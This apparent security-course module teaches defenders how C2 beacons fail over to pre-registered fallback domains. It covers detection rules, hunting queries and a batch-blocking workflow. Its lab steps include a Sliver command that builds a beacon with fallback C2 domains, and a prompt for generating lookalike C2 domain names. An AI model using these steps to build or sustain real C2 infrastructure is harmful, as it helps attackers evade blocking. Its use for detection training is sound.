In this section
OD2.8 Infrastructure Rotation. How Attackers Survive Your Blocking
OD2.6 showed the full lifecycle. OD2.7 taught proactive detection during Build and Stage. This sub covers what happens when the lifecycle enters the Burn phase, you block the primary domain, and the attacker rotates to the standby they prepared months ago. You're about to learn why sequential blocking loses and batch blocking wins, how to predict the fallback domains, and how to fingerprint the operator across rotations.
Operational Context
You blocked cdn-assets-update[.]com yesterday. This morning the beacon is calling static-content-srv[.]com. You block that. Tomorrow it'll be web-analytics-api[.]com. You're losing this game because the attacker registered all three domains in the same batch and configured the beacon with a fallback list before deploying it. Each block costs you an investigation hour. Each rotation costs the attacker nothing.
The only way to win is to find the batch and block the batch. This sub teaches you how, and how to use the rotation pattern itself as an operator fingerprint that connects separate campaigns.
Learning Objectives
By the end of this sub you will be able to:
- Predict fallback domains from the primary domain's naming pattern, registration timing, and certificate clustering, then verify predictions against WHOIS, passive DNS, and CT logs to identify the full batch before the attacker activates it. The LockBit ecosystem's affiliate infrastructure showed consistent domain batches of 3-8 domains registered within 48 hours through the same privacy-protected registrar. This matters because finding and blocking the entire batch simultaneously forces the attacker to build new infrastructure from scratch: a days-long delay instead of a 90-second failover.
- Fingerprint the operator across rotations and campaigns using four persistent characteristics: registration patterns (registrar, timing, naming convention), certificate patterns (issuer, issuance timing, key type), HTTP configuration (server headers, TLS settings, JA3S hash), and behavioral patterns (beaconing interval, payload sizes, URI paths). This matters because the fingerprint persists when the IOCs change, connecting the domain you blocked last month to the new domain the attacker activated this week, even when the IP addresses and domain names are completely different.
- Detect C2 domain rotation in real time by identifying single processes that contact multiple non-standard external domains within a 48-hour window: the failover signature from OD2.6 combined with beaconing pattern matching from OD2.2. This matters because the 90-second failover window is your detection opportunity: the beacon pauses, then contacts a new domain with the same interval and payload pattern.
Figure OD2.8. The attacker's fallback chain. All domains registered in one session. Blocking one triggers automatic failover to the next. The only effective response is batch identification and simultaneous blocking.
The Attack
You're about to understand the three rotation mechanisms attackers use, why each one defeats a specific defensive response, and exactly what the rotation looks like in your network telemetry. By the end, you'll stop playing whack-a-mole with individual domains and start finding the batch.
What the attacker is trying to achieve
The attacker's goal with rotation is C2 persistence despite detection, maintaining command-and-control communication even after the defender discovers and blocks individual infrastructure components. The fallback chain is insurance against your best investigation work. You find the domain. You block the domain. The beacon switches. The campaign continues.
Every C2 framework supports this natively. Cobalt Strike's beacon configuration includes a primary and up to nine fallback hostnames. Sliver supports multiple C2 endpoints with priority ordering. The attacker configured these fallbacks at build time, they're baked into the beacon binary that's running on your compromised endpoint.
Three rotation types
Built-in failover. The beacon's configuration contains an ordered list. When the primary fails (DNS timeout, connection refused, certificate error), the beacon retries after a configured delay, then tries the next endpoint. The failover is automatic, instant, and silent. You block the domain; the beacon switches without the attacker lifting a finger.
Here's what this looks like in your DNS query logs during a failover:
DNS query log, failover sequence after blocking:
14:45:02 DESKTOP-NGE042 cdn-assets-update.com A NXDOMAIN (you sinkholed it)
14:45:03 DESKTOP-NGE042 cdn-assets-update.com A NXDOMAIN (retry 1)
14:45:35 DESKTOP-NGE042 cdn-assets-update.com A NXDOMAIN (retry 2, 30s delay)
14:46:05 DESKTOP-NGE042 cdn-assets-update.com A NXDOMAIN (retry 3)
14:46:06 DESKTOP-NGE042 static-content-srv.com A 185.220.101.43 ← FAILOVER
14:46:07 DESKTOP-NGE042 static-content-srv.com A 185.220.101.43 (connection)
The beacon tried the primary 4 times over 64 seconds, then
switched to the first fallback. Total disruption: 64 seconds.
The C2 channel is re-established. The campaign continues.
If you're monitoring DNS query logs and correlating with the
blocked domain's process, you can see the failover destination
in real time, giving you the next domain before the attacker
knows you're watching.Scheduled rotation. Some operators rotate on a schedule regardless of detection: every 72 hours, every week, every month. The beacon switches domains on a timer. If the current domain hasn't been detected, it gets abandoned anyway. This limits exposure: if a domain is reported to a threat intelligence vendor, the impact is contained because the attacker has already moved.
Scheduled rotation produces a distinctive pattern in your network logs: the beacon calls Domain A for exactly 72 hours, then Domain B for exactly 72 hours, then Domain C. The timing is regular and independent of your blocking actions.
Reactive rotation. The attacker detects that their infrastructure is compromised and triggers a manual rotation. The triggers: the domain stops resolving (you sinkheld it), the VPS is terminated (abuse report), the IP appears on a blocklist (threat intel feed), or the beacon stops checking in (you isolated the endpoint).
Reactive rotation is faster and messier. The attacker may use infrastructure they hadn't fully prepared: a domain not yet aged, a VPS without a redirector, a hastily issued certificate. This hastiness creates detection opportunities:
Comparing prepared vs reactive rotation:
PREPARED (primary):
Domain: cdn-assets-update.com
Registration: Jan 15 (90+ days aged)
Certificate: Feb 10 (60+ days old)
Hosting: Hetzner VPS with Nginx redirector
HTTP fingerprint: custom error page, specific header ordering
REACTIVE (emergency replacement):
Domain: quick-update-srv.com
Registration: Apr 28 (TODAY, registered after detection)
Certificate: Apr 28 (issued minutes ago)
Hosting: DigitalOcean VPS, no redirector (direct to team server)
HTTP fingerprint: default Nginx page, different header ordering
The reactive domain is less polished. It's new (fails NRD check),
the cert is fresh, there's no redirector layer (team server
exposed), and the HTTP fingerprint differs from the prepared
infrastructure. The attacker traded preparation for speed.What rotation looks like in your investigation
Here's a complete rotation sequence from an NE investigation, showing how the domains connect:
Investigation timeline: three domains, one operator:
Day 1 (Apr 25):
Beacon detected: cdn-assets-update.com (primary)
Sysmon Event 3: rundll32.exe → 185.220.101.42:443
Beaconing interval: 300s, jitter: 15%, payload: 1,847b
Day 2 (Apr 26):
cdn-assets-update.com blocked at proxy
DNS logs: 4 failed resolution attempts over 64 seconds
Beacon failover: static-content-srv.com
Sysmon Event 3: SAME rundll32.exe PID → 185.220.101.43:443
Beaconing interval: 300s, jitter: 15%, payload: 1,847b
→ Same process, same interval, same payload size = same beacon
Day 3 (Apr 27):
static-content-srv.com blocked at proxy
DNS logs: 4 failed attempts, then failover
Beacon: web-analytics-api.com
Sysmon Event 3: SAME rundll32.exe PID → 185.220.101.44:443
Beaconing interval: 300s, jitter: 15%, payload: 1,847b
Connection evidence:
All 3 domains: registered Namecheap, Feb 3, privacy-protected
All 3 certs: Let's Encrypt, issued Mar 20 14:22-14:34 UTC
All 3 VPS: Hetzner AS24940, sequential IPs (.42, .43, .44)
Beacon: identical interval, jitter, and payload across all 3
→ Same operator. Same batch. Same campaign.Step 1. Analyse the primary domain's pattern.
Primary domain: cdn-assets-update[.]com (example)
Naming pattern analysis:
Structure: [service-type]-[noun]-[action]
Components: cdn / assets / update
Style: compound web-service terminology, lowercase, hyphens
TLD: .com
Based on this pattern, generate 10 candidate fallback domains:
static-content-srv.com
web-analytics-api.com
cloud-sync-service.com
app-telemetry-check.com
api-status-monitor.com
cdn-resource-fetch.com
edge-cache-update.com
...Use Claude to generate candidates:
"I've identified a C2 domain: cdn-assets-update[.]com.
Pattern: [service-type]-[noun]-[action], web service terminology.
Generate 20 domain permutations following this style that would
look legitimate in proxy logs. Prioritise by how common the
words are in real CDN/cloud service domains."Step 2. Check which candidates are registered.
# For each candidate, check WHOIS:
whois static-content-srv.com | grep "Creation Date\|Registrar"
whois web-analytics-api.com | grep "Creation Date\|Registrar"
# ... repeat for each candidate
# Or use a batch lookup tool:
# for d in static-content-srv.com web-analytics-api.com cloud-sync-service.com; do
# echo "=== $d ===" && whois $d | grep -i "creation\|registrar\|not found"
# done
# Note: registered domains with Creation Date within ±7 days
# of the primary = probable batch members.Step 3. Check certificate clustering.
Search crt.sh for certificates matching the naming pattern:
https://crt.sh/?q=%25cdn-%25update%25 (matches the primary's keywords)
https://crt.sh/?q=%25static-%25srv%25 (matches a candidate)
For any registered candidates that also have certificates:
a. When was the cert issued?
b. Was it issued the same day as the primary's cert?
c. Same issuer (Let's Encrypt)?
→ Same-day issuance from the same issuer = BATCH confirmation.Step 4. Build the operator fingerprint.
From the evidence across all confirmed batch members:
Registration fingerprint:
Registrar: ___
Registration date: ___
Privacy protection: yes/no
Naming convention: [pattern]
Certificate fingerprint:
Issuer: ___
Issuance date: ___
Key type: ___
Infrastructure fingerprint:
Hosting provider (ASN): ___
IP range: ___
HTTP server: ___
TLS configuration (JA3S if available): ___
Behavioral fingerprint:
Beaconing interval: ___
Payload size: ___
URI pattern: ___
This fingerprint identifies the same operator in future campaigns.
Save it. When a new domain appears next month with the same
fingerprint, you'll recognize the operator immediately.Success criteria: You've predicted fallback domains from naming patterns, verified at least one prediction against WHOIS and CT data, and built an operator fingerprint from the batch evidence.
Challenge: If you found confirmed batch members that are registered but not yet active (no DNS, no traffic), add them to your SIEM staging watchlist from OD2.7. When the attacker activates them, because you block their current active domain, your watchlist alert fires immediately, giving you the replacement domain at the moment of rotation.
How rotation is built into the beacon
The rotation decision happens at beacon generation time, not during the campaign. When the attacker generates the beacon in OD2.1, the --http cdn-assets-update.com,static-content-srv.com flag compiled both domains into the binary. The failover logic is: try the primary domain; if it fails (DNS timeout, connection refused, HTTP error), wait one sleep cycle and try the next domain in the list.
This means the attacker's full domain portfolio is embedded in every beacon. If you can extract the beacon binary from an endpoint (through memory forensics, disk forensics, or EDR quarantine), you can extract ALL the C2 domains, not just the one you observed in network traffic. Sliver beacons compiled with --http store the domain list in the binary's configuration. Tools like SliverExtract or manual string analysis reveal the full list.
In your lab, verify this:
# On your Linux VM, examine the beacon binary:
strings /tmp/profile-evasion-test.exe | grep -i "cdn-assets\|static-content"
# Expected: both domain names visible in the binary's strings
# (Sliver doesn't encrypt the HTTP domain list by default)If both domains appear in strings output, the attacker's entire infrastructure portfolio is one strings command away from an analyst with the binary. This is why advanced operators use encrypted configurations and don't embed domain names as plaintext, but many don't bother, and the intelligence is free for the taking.
How rotation is pre-configured in the beacon
Rotation is engineered at beacon generation time. The --http domain1,domain2 flag in OD2.1 compiled both domains into the binary. The failover is deterministic: try domain 1, if it fails, try domain 2.
In your lab, extract the domain list from the beacon:
# On your Linux VM:
strings /tmp/profile-evasion-test.exe 2>/dev/null | grep -i "cdn-assets\|static-content"
# Expected: both domain names visible in the binary's strings.
# Advanced operators encrypt configurations, but many don't.Test rotation in your lab
Block the primary domain and observe the failover in Sysmon Event 22:
# On the Windows VM, block the primary:
Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 cdn-assets-update.com"
# Wait 2-3 check-in cycles, then check Event 22:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" `
-FilterXPath "*[System[EventID=22]]" -MaxEvents 10 |
ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
Time = $_.TimeCreated.ToString("HH:mm:ss")
Image = ($xml.Event.EventData.Data |
Where-Object Name -eq 'Image').'#text' | Split-Path -Leaf
Query = ($xml.Event.EventData.Data |
Where-Object Name -eq 'QueryName').'#text'
}
} | Format-Table -AutoSize
# Expected: beacon process querying static-content-srv.com (fallback).
# Restore after testing:
(Get-Content C:\Windows\System32\drivers\etc\hosts) |
Where-Object { $_ -notmatch "cdn-assets-update" } |
Set-Content C:\Windows\System32\drivers\etc\hostsThe failover DNS query is the detection artifact. Without Event 22, the beacon silently switches and your investigation stalls.
What Your Attack Produced
Switch perspective. Infrastructure rotation produces specific telemetry when the beacon fails over to a new domain, and that failover is how you discover the backup infrastructure.
When you block the primary C2 domain, the beacon's next check-in attempt generates a DNS query for the fallback domain. This is visible in Sysmon Event 22:
Sysmon Event 22. DNS query after primary domain blocked:
BEFORE blocking (normal operation):
Image: C:\Users\jsmith\AppData\Local\Temp\beacon.exe
QueryName: cdn-assets-update.com
QueryResults: 185.220.101.42
AFTER blocking (failover):
Image: C:\Users\jsmith\AppData\Local\Temp\beacon.exe
QueryName: static-content-srv.com ← FALLBACK DOMAIN
QueryResults: 185.220.101.43
The same process that was calling the primary domain is now
querying a completely different domain. The DNS query for the
fallback domain is how you discover the standby infrastructure.
This is why Sysmon Event 22 (DNS query logging) is critical:
it reveals the beacon's entire domain list, one failover at a time.If you don't have Sysmon Event 22 enabled, the failover is invisible: the beacon silently switches to the fallback and your investigation stalls at "we blocked the domain and the beacon stopped." It didn't stop. It moved.
Detecting This
The detection targets the failover signature: a single process that contacts the primary domain, fails, then contacts a new domain with the same beaconing pattern. This catches the rotation in real time during the 90-second failover window.
title: Single Process Contacting Multiple Non-Standard External Domains
id: eh0j8i07-9i1f-2g3h-5i6d-7e8f0a1b2c3d
status: stable
description: |
Detects a non-browser process that connects to two or more
distinct external domains within 48 hours with significant
request volume. Catches C2 beacon failover when the primary
domain is blocked and the beacon switches to a fallback.
Cross-reference with OD2.2 beaconing detection for confirmation.
references:
- https://ridgelinecyber.com/modules/paid/od02-offensive-infrastructure/08
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationPort: 443
Initiated: 'true'
filter_browsers:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
- '\brave.exe'
filter_known:
Image|endswith:
- '\teams.exe'
- '\outlook.exe'
- '\onedrive.exe'
- '\svchost.exe'
- '\MsMpEng.exe'
condition: selection and not filter_browsers and not filter_known
# Post-processing: group by Image, count distinct destinations.
# Alert if dcount(DestinationHostname) >= 2 AND total requests > 20
# within 48 hours. This is the failover signature.
falsepositives:
- Update agents checking multiple CDN endpoints
- Applications with primary/fallback server configurations
level: high
tags:
- attack.command_and_control
- attack.t1008
// C2 Domain Failover Detection
// Catches beacon switching from blocked primary to fallback
// One non-browser process → 2+ external domains → 20+ requests = failover
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
"firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
"svchost.exe", "MsMpEng.exe", "msedgewebview2.exe"]);
DeviceNetworkEvents
| where TimeGenerated > ago(48h)
| where RemotePort == 443 and ActionType == "ConnectionSuccess"
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
Destinations = make_set(RemoteUrlHost),
DestCount = dcount(RemoteUrlHost),
RequestCount = count(),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by DeviceName, InitiatingProcessFileName
| where DestCount >= 2 and RequestCount > 20
// This process contacted 2+ non-standard external domains.
// Expand to see the timeline per destination:
| mv-expand Destinations to typeof(string)
| join kind=inner (
DeviceNetworkEvents
| where TimeGenerated > ago(48h)
| where RemotePort == 443
| summarize
PerDestRequests = count(),
PerDestFirst = min(TimeGenerated),
PerDestLast = max(TimeGenerated)
by DeviceName, InitiatingProcessFileName, RemoteUrlHost
) on $left.DeviceName == $right.DeviceName,
$left.InitiatingProcessFileName == $right.InitiatingProcessFileName,
$left.Destinations == $right.RemoteUrlHost
| project DeviceName, Process = InitiatingProcessFileName,
Domain = Destinations, Requests = PerDestRequests,
Active = strcat(format_datetime(PerDestFirst, "MM-dd HH:mm"),
" → ", format_datetime(PerDestLast, "MM-dd HH:mm"))
| order by DeviceName, Process, Active asc
// Result: a timeline showing Domain A active until you blocked it,
// then Domain B active immediately after. Same process. Failover confirmed.
// Defender XDR — C2 domain failover
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
"firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
"svchost.exe", "MsMpEng.exe"]);
DeviceNetworkEvents
| where Timestamp > ago(48h)
| where RemotePort == 443 and ActionType == "ConnectionSuccess"
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
Destinations = make_set(RemoteUrl),
DestCount = dcount(RemoteUrl),
RequestCount = count()
by DeviceName, InitiatingProcessFileName
| where DestCount >= 2 and RequestCount > 20
| order by DestCount desc
index=proxy sourcetype=proxy dest_port=443
NOT process_name IN ("chrome.exe", "msedge.exe", "firefox.exe",
"teams.exe", "outlook.exe", "onedrive.exe", "svchost.exe")
| stats dc(dest) as dest_count count as request_count
values(dest) as destinations
min(_time) as first_seen max(_time) as last_seen
by src process_name
| where dest_count>=2 AND request_count>20
| mvexpand destinations
| sort src process_name first_seen
`comment("One process contacting 2+ external domains =
potential failover. Cross-reference each destination
against beaconing detection (OD2.2) for confirmation.")`
Cross-referencing with beaconing detection. The failover detection (this sub) tells you a process contacted multiple domains. The beaconing detection (OD2.2) tells you whether those domains show the jitter ratio pattern. Both signals together, same process, multiple domains, low jitter ratio on each, is high-confidence C2 with failover.
Hunting. DNS failover sequence extraction
When you've identified a compromised endpoint, extract the failover sequence from DNS query logs:
// Extract the full failover chain from DNS queries
// Run this for a known compromised endpoint
DnsEvents
| where TimeGenerated > ago(7d)
| where ClientIP == "10.0.0.42" // compromised endpoint IP
| where QueryType == "A"
| where Name !endswith ".internal.company.com"
and Name !endswith ".microsoft.com"
and Name !endswith ".windows.net"
| summarize
QueryCount = count(),
FirstQuery = min(TimeGenerated),
LastQuery = max(TimeGenerated),
ResponseCodes = make_set(ResponseCode)
by Name
| where QueryCount > 3
| order by FirstQuery asc
// The timeline shows: Domain A (many queries, then NXDOMAIN),
// Domain B (queries start when A stops), Domain C (if applicable).
// The NXDOMAIN entries reveal domains you already blocked.
// The successful entries reveal active C2 domains.
// The ORDER reveals the fallback priority list.Mitigation. winning the rotation game
Batch identification before blocking. When you find the primary C2 domain, don't block it immediately. First, spend 30 minutes finding the batch: registration pivot (same registrar, same date), certificate pivot (same issuer, same date), naming pattern prediction, infrastructure pivot (same ASN, sequential IPs). Then block the entire batch simultaneously.
Beacon configuration extraction. If the implant is Cobalt Strike, extract the beacon configuration using tools like CobaltStrikeParser or SentinelOne's CobaltStrikeParser. The configuration contains the complete fallback list: every domain the beacon will try. This gives you the entire rotation chain from one endpoint artifact.
DNS query monitoring for failover detection. When you block a domain, monitor the compromised endpoint's DNS queries for the next 5 minutes. The failed resolution attempts followed by a successful resolution to a new domain give you the failover destination in real time.
Logging gaps. what you're probably not seeing
Gap 1. No DNS query logging on endpoints. Without Sysmon Event 22 (DNS Query) or equivalent, you can't see the failover sequence: the failed queries to the blocked domain and the successful query to the fallback. Enable DNS query logging in your Sysmon configuration.
Gap 2. No process-to-DNS correlation. Even with DNS logging, some configurations don't correlate the DNS query to the process that made it. Without this correlation, you know the endpoint resolved a domain but not which process asked. Sysmon Event 22 includes the process image, verify it's configured.
Gap 3. No cross-domain beaconing correlation. Your beaconing detection (OD2.2) may run per-destination. If it doesn't correlate across destinations for the same process, it won't detect the failover, it sees two separate, shorter beaconing patterns instead of one continuous pattern with a domain change. The failover detection query from this sub's detection tabs addresses this gap.
Verify against your own telemetry. Run the detection queries from the tabs above against your lab SIEM. Your attack should appear in the results.
Objective: Deploy the failover detection query, test it against your lab beacon (configure a second C2 domain in Sliver, block the primary, observe the failover), and build the batch hunting workflow into your investigation process.
Prerequisites: Your lab from OD2.1 (Sliver + Nginx + Windows VM). The beacon from OD2.2 running with the primary domain.
Step 1. Configure a fallback domain in Sliver.
# On your Linux VM, add a second domain to /etc/hosts:
echo "127.0.0.1 static-content-srv.com" | sudo tee -a /etc/hosts
# On the Windows VM, add the same:
# (PowerShell as Administrator)
Add-Content C:\Windows\System32\drivers\etc\hosts "10.0.0.20 static-content-srv.com"
# Generate a beacon with TWO C2 endpoints:
sliver > generate beacon \
--http cdn-assets-update.com,static-content-srv.com \
--name failover-test \
--os windows --arch amd64 \
--seconds 60 --jitter 15Transfer and run the beacon on the Windows VM. Let it establish on the primary domain (verify in Sliver console: beacons).
Step 2. Block the primary and observe failover.
# On the Windows VM, simulate blocking by breaking DNS for the primary:
# Edit hosts file to point the primary at a non-routable address:
$hostsPath = "C:\Windows\System32\drivers\etc\hosts"
(Get-Content $hostsPath) -replace "10.0.0.20 cdn-assets-update.com", `
"192.0.2.1 cdn-assets-update.com" | Set-Content $hostsPath
# Now watch the DNS queries:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" `
-FilterXPath "*[System[EventID=22]]" -MaxEvents 20 |
ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
Time = $_.TimeCreated.ToString("HH:mm:ss")
Query = ($xml.Event.EventData.Data |
Where-Object Name -eq 'QueryName').'#text'
Result = ($xml.Event.EventData.Data |
Where-Object Name -eq 'QueryResults').'#text'
}
} | Format-Table -AutoSize
# Expected: failed queries to cdn-assets-update.com (NXDOMAIN or timeout),
# then successful query to static-content-srv.com (your Linux VM IP).
# The failover happens automatically within 60-120 seconds.Verify in the Sliver console that the beacon re-established through the second domain.
Step 3. Detect the failover in your SIEM.
Run the failover detection KQL from the detection tabs. The query should return the beacon's process showing two distinct destinations: the primary (before you "blocked" it) and the fallback (after).
Expected output:
DeviceName: YOURWINDOWSVM
Process: failover-test.exe
Domain: cdn-assets-update.com Active: 10:00 → 10:15
Domain: static-content-srv.com Active: 10:16 → (ongoing)
Two domains, one process, sequential timing. Failover confirmed.Step 4. Build the batch hunting workflow.
Using the primary domain from Step 1, practice the batch hunting process:
Given: cdn-assets-update.com
a. Naming pattern: [service]-[noun]-[action]
b. Generate 5 candidates following the pattern
c. Check if any candidates are registered (WHOIS)
d. Check CT logs for certificates on the same date
e. In a real investigation: block ALL confirmed batch
members simultaneously, not one at a timeSuccess criteria: You've observed a live failover in your lab, detected it with the failover KQL, and practised the batch hunting workflow.
Challenge: After the failover, restore the primary domain in your hosts file. Does the beacon switch back, or does it stay on the fallback? The answer depends on the C2 framework's failover logic, some frameworks return to the primary when it becomes available, others stick with the active fallback. Understanding this behavior tells you whether burning a domain permanently removes it from the rotation or just temporarily pushes traffic to the fallback.
The rotation pattern is the operator's signature
IOCs change. Operator habits don't.
The domains are different across campaigns. The IPs are different. The certificates are different. But the operator's habits persist: they register through the same registrar, they use the same naming convention, they provision certificates on the same day they register domains, they host on the same providers, and the beacon configuration uses the same intervals and payload structure.
When you build the operator fingerprint from one campaign's rotation pattern, you've created a detection signature that transcends individual IOCs. Next month, when a new batch of domains appears with the same fingerprint, same registrar, same naming style, same cert issuer, same hosting ASN, you recognize the operator before the first beacon calls home.
This is what connects OD2.8 back to OD1.9 (team structures). An access broker may use one infrastructure pattern. The affiliate who buys the access uses a different pattern. The RaaS platform's infrastructure team uses a third. The rotation fingerprint identifies which entity in the supply chain is operating, which tells you the attacker's capability, timeline, and objective (OD1.3).
Infrastructure analysis isn't just about blocking domains. It's intelligence about who you're facing.
You should be able to do the following without referring back to this sub. If you can't, the sections to re-read are noted.